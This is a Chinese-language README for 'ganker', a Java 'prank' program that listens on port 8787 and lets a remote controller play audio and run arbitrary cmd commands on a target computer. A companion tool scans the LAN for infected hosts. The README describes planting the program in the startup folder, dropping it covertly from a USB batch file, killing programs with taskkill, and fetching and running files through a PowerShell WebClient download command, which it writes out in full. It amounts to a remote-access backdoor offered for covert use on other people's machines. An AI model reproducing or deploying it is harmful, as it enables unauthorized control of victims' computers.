一個能煩死別人的小程式
能從遠端朝惡作劇目標電腦定時放音樂,或執行cmd指令
ganker.java
一個沒有gui的java程式,監聽預設port8787
來執行命令,port可由執行參數中修改
執行時需於jar檔案路徑/music/
內放入名為music
的wav
格式聲音檔,作為gank時播放使用gankerController.java
控制ganker
用的程式,可以下達ganker命令
,將於後方說明
啟動時預設連線localhost:8787
,可於執行參數中修改gankerControllerController.java
控制gankerController
用的程式,可掃描目前同區域網路下的ganker
,並開啟對應的gankerController
啟動時預設掃描port8787
,可於執行參數中修改
此檔案編譯時需要用classpath連結gankerController.java
整數
將於整數
毫秒後開始播放音樂cmd:指令
將執行指令
內容,如果在windows下將於cmd內執行
注意:有些命令不被支援,可以嘗試呼叫新的cmd後再執行不支援的命令stop
停止播放音樂exit
結束ganker
程式
在要惡作劇的目標電腦上執行ganker.jar
,或是更派一點,把ganker.jar
放到開機自動啟動資料夾
再在同區域網路內其他台電腦(或是惡作劇目標本身也行)上執行gankerController.jar
,如果不在惡作劇目標電腦上執行,記得在執行時給予gankerController
IP參數,指向惡作劇目標,如果ganker
的port設定不是預設的8787
,記得也要改gankerController
的第二個參數
然後就可以輸入ganker命令
了
如果不知道惡作劇目標在區域網路的哪個IP,可以使用gankerControllerController
來尋找
命令列:java -jar ganker.jar [port]
port
預設為8787
如果指定port
已被佔用的話,ganker
會嘗試以關閉ganker
的方式關閉他,意思就是啟動第二個ganker
時第一個就會關閉,也可以用這方法來重啟ganker
(更新時會用到)
命令列:java -jar gankerController.jar [ip] [port]
ip
預設為localhost
port
預設為8787
GUI操作:
- 左上文字框:指令輸入
可用enter送出,上下鍵從歷史紀錄選擇上/下一條指令 - 右上文字框:當左邊輸入數字時,將會乘以右邊的倍率送出(預設倍率為毫秒->分鐘)
- send按鈕:送出命令
- stop按鈕:快速鍵,送出停止播放命令
- check按鈕:檢查目標
ganker
是否還活著 - exit按鈕:快速鍵,送出關閉
ganker
命令
命令列:java -jar gankerControllerController.jar [port]
port
預設為8787
GUI操作:
- 選項
reload
重新掃描區域網路下的ganker
- 選項
ip:port
開啟相對的gankerController
基本用法:可以把惡作劇目標電腦開滿計算機,或是在使用到一半開始抬棺等等
進階用法:用taskkill指令砍掉正在運作的程式
超強用法:呼叫powershell下載檔案,也可以用這方法遠端更新ganker
快速植入:寫一個batch檔在隨身碟,一執行就把ganker
丟到開機自動啟動資料夾,然後執行
必須要先確保對方能用網路連到你的電腦
- 使用fileServer,或是自己架簡單的檔案伺服器,反正要能從網路取得資源就是了
- 然後將新的
ganker.jar
放入檔案伺服器的檔案系統,然後啟動檔案伺服器 - 在
gankerController
中輸入cmd:powershell -Command "(New-Object net.WebClient).downloadFile('這裡填入你的ganker.jar網路資源', 'ganker.jar')"
例子:cmd:powershell -Command "(New-Object net.WebClient).downloadFile('http://192.168.0.87/ganker.jar', 'ganker.jar')"
- 然後在
gankerController
中輸入cmd:javaw -jar ganker.jar
重啟ganker
看到其他這兩個字就知道發生什麼事了吧
對,窩不知道其他系統怎麼打指令,反正原理就是這樣,自行變通一下吧
不要玩太過頭喔